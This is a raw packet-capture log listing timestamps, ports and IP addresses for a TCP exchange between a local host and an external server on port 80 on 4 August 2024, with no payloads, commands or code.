Aug 4, 2024 10:58:07.712272882 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712290049 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712307930 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712338924 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712349892 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712373972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712405920 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712426901 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712439060 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712474108 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712479115 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712548018 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712599039 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712599993 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712632895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712666988 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712677956 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712703943 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712748051 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712759972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712815046 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712848902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712862015 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712886095 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712918043 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712934017 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.712954044 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.712987900 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.713001966 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.713021994 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.713054895 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.713061094 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.713088989 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.713124037 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.713131905 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718175888 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718209028 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718246937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718278885 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718298912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718311071 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718331099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718368053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718415022 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718421936 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718456984 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718489885 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718501091 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718528986 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718542099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718575001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718607903 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718628883 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718641043 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718693972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718718052 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718745947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718780041 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718791008 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718815088 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718851089 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718863010 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718903065 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718938112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.718951941 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.718971968 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.719006062 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.719017029 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.719038963 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.719074011 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.719085932 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.764621973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:07.797838926 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:07.842747927 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.058576107 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058645010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058713913 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058748960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058773994 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.058801889 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058803082 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.058840036 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058873892 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058902025 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.058922052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058978081 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.058999062 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059015036 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059050083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059077024 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059083939 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059144974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059159040 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059211969 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059247017 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059271097 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059281111 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059314966 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059344053 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059349060 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059384108 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059395075 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059482098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059520960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059526920 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059575081 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059628963 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059628010 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059668064 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059703112 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059743881 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059756994 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059792995 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059799910 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059847116 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059883118 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059896946 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.059940100 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.059973955 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060003042 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060009956 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060045958 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060053110 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060100079 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060136080 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060148001 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060173035 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060220957 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060224056 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060257912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060292006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060324907 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060326099 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060369015 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060379982 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060415030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060450077 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060462952 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060503006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060539007 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060549974 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060570955 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060605049 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060640097 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060641050 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060676098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060683012 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060710907 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060745001 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060756922 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060779095 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060811996 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060837984 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060866117 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060902119 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060945034 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.060955048 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060991049 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.060997963 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061026096 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061064959 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061074972 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061100006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061135054 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061141968 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061168909 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061211109 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061224937 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061258078 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061301947 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061310053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061343908 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061378002 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061388969 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061413050 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061448097 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061479092 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061492920 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061513901 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061515093 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061549902 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061583042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061599970 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061618090 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061655998 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061688900 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061697006 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061723948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061729908 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061758041 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061793089 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061831951 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.061836004 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.061923027 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406043053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406126022 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406173944 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406193972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406229973 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406265020 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406280041 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406299114 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406332016 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406346083 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406371117 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406414986 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406420946 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406456947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406497002 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406510115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406550884 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406584024 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406599045 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406636000 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406667948 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406689882 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406721115 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406771898 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406771898 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406827927 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406862020 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406874895 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406913042 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406946898 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.406955957 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.406999111 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407047987 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407048941 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407085896 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407126904 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407135963 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407170057 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407205105 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407212973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407238960 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407279968 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407293081 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407330990 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407375097 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407381058 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407416105 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407455921 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407464027 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407521009 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407553911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407569885 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407589912 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407623053 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407628059 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407675028 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407710075 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407727003 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407742977 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407774925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407785892 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407825947 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407854080 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407885075 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407907009 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407942057 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.407963991 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.407994032 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408026934 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408034086 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408061028 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408097982 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408112049 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408145905 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408183098 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408194065 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408224106 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408257008 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408268929 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408291101 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408325911 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408333063 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408360958 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408396006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408406973 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408432007 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408464909 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408474922 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408519030 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408571005 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408574104 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408607006 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408641100 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408649921 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408691883 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408726931 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408741951 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408761978 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408797979 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408808947 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408833981 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408868074 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408875942 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408921957 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.408972025 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.408979893 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409013987 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409110069 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409126997 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409143925 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409178972 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409189939 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409213066 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409246922 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409262896 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409279108 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409311056 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409317017 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409343958 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409378052 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409389019 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409410000 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409445047 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409459114 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409482002 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409514904 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409528971 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409549952 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409583092 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409605026 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.409617901 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.409662962 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.753890038 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.753952980 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.753999949 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754008055 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754064083 CEST	80	49758	27.221.16.149	192.168.2.7
Aug 4, 2024 10:58:08.754111052 CEST	49758	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:58:08.754117966 CEST	80	49758	27.221.16.149	192.168.2.7
